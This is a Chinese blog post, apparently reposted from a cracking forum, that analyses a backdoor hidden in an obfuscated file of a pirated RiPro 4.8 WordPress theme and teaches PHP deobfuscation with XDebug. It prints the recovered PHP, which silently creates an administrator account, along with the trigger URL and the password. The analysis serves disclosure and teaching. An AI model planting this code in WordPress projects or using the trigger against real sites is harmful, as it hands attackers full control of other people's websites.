站点图标 度崩网-几度崩溃

关于本站ripro主题4.8版本后门分析[建站教程]

关于本站ripro主题4.8版本后门分析[建站教程]

下载后用D盾扫描

发现有加密文件,用Notepad++查看

破解混淆加密后得到源文件

经查看发现后门代码

01
02
03
04
05
06
07
08
09
10
11
12
add_action('wp_head''wp_backdoor');
function wp_backdoor()
{
        if (md5($_GET['backdoor']) == '34d1f91fb2e514b8576fab1a75a89a6b') {
                require('wp-includes/registration.php');
                if (!username_exists('backdoor')) { //检测是否存在backdoor账户
                        $user_id = wp_create_user('backdoor''123456'); //创建账户
                        $user new WP_User($user_id);
                        $user->set_role('administrator'); //设置为管理员权限
                }
        }
}

使用http(s)://你的域名/?backdoor=go访问,
自动创建用户名为backdoor密码为123456的管理员账户
本地测试


成功登录后台


推荐这种涉及到支付的主题还是用正版,盗版的就如作者所说,很容易被添加后门。
毕竟没有真正免费的午餐。


解密后的文件

蓝奏盘:https://lanzoui.com/i836ukh

后门代码已注释,位于412-423行

看到有人想要学习解密php混淆加密
使用工具:PHP7.2+XDebug+VSCode{必备插件[PHP Debug(XDebug调试)+PHP IntelliSense(代码格式化)+Code Runner(快速运行php文件,方便调试)}
当然还有其他配置比如:XDebug安装,Code Runner php文件路径配置等,还是等下一次再出个php调试环境详细配置教程吧。
原文件用VSCode打开是这样的

先格式化(右键-格式化文档,多格式化几次)

保存,改编码为Western (Windows 1252)【本次解密非必须】

使用 Ctrl + Shift + P 打开快捷指令,输入 encoding,选择用 Change File Encoding,选择 Reopen with Encoding,选择 Western (Windows 1252)。

Windows 1252 是个单字节的字节集,不会出现任何 2 个字节被显示成 1 个字符的问题,其他的单字节集通常也可以。 ——@Ganlv

创建PHP调试launch.json文件

默认配置就可以了,开始调试

运行PHP文件

单步调试(F11)

一直调试可以看见不停的给变量赋值解密函数

多运行几步就会发现源码直接出来了

比起Ganlv大神解密的zym/phpjm混淆解密还简单,毕竟没有反调试。
很适合新手入门破解,欢迎交流学习。

转载自吾爱破解